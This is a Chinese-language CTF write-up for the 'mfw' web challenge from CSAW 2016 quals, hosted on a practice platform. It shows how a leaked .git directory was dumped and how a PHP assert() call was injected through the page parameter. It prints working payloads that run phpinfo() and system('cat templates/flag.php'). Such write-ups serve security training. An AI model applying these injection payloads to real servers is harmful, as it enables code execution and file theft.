攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

题目介绍

image-20210116154421282

题目考点

  • PHP代码审计
  • git源码泄露

Writeup

  1. 进入题目,点击一番,发现可能出现git源码泄露

    image-20210116154711854

  2. url输入 http://220.249.52.134:56659/.git/ 发现果然有git源码泄露

    image-20210116154756012

  3. 使用 GitHacker 获取源码

    image-20210116155103993

    image-20210116155129103

  4. 看到有flag.php, 尝试打开查看,里面啥也没

    image-20210116155244609

  5. 打开index.php代码审计

    image-20210116155531704

  6. 了解assert()函数的使用:

    image-20210116155738944

    总结一句话就是:assert()函数会将读入的代码当做PHP代码来执行
    因此,我们可以进行注入,注入的思路:

    方式一:

    • 首先对strpos函数进行闭合,构造一下,page=’)

    • 可以把后面', '..') === false的给注释掉,构造page=').phpinfo();//,可以得到回显

      image-20210116161058476

    方式二:

    • 不注释也行,直接插入,构造page='.phpinfo().'

    image-20210116160208191

  7. 既然可以执行函数,那么使用system()函数

    system()函数用法:

    image-20210116160336433

    由于源码直接下载有,所以直接构造得到flag的payload:

    ?page=').system("cat templates/flag.php");//
    或者
    ?page='.system("cat templates/flag.php").'
    

    两者都需查看源码!!

    image-20210116160606055

posted @ 2021-01-16 16:13  FreeK0x00  阅读(368)  评论(0编辑  收藏  举报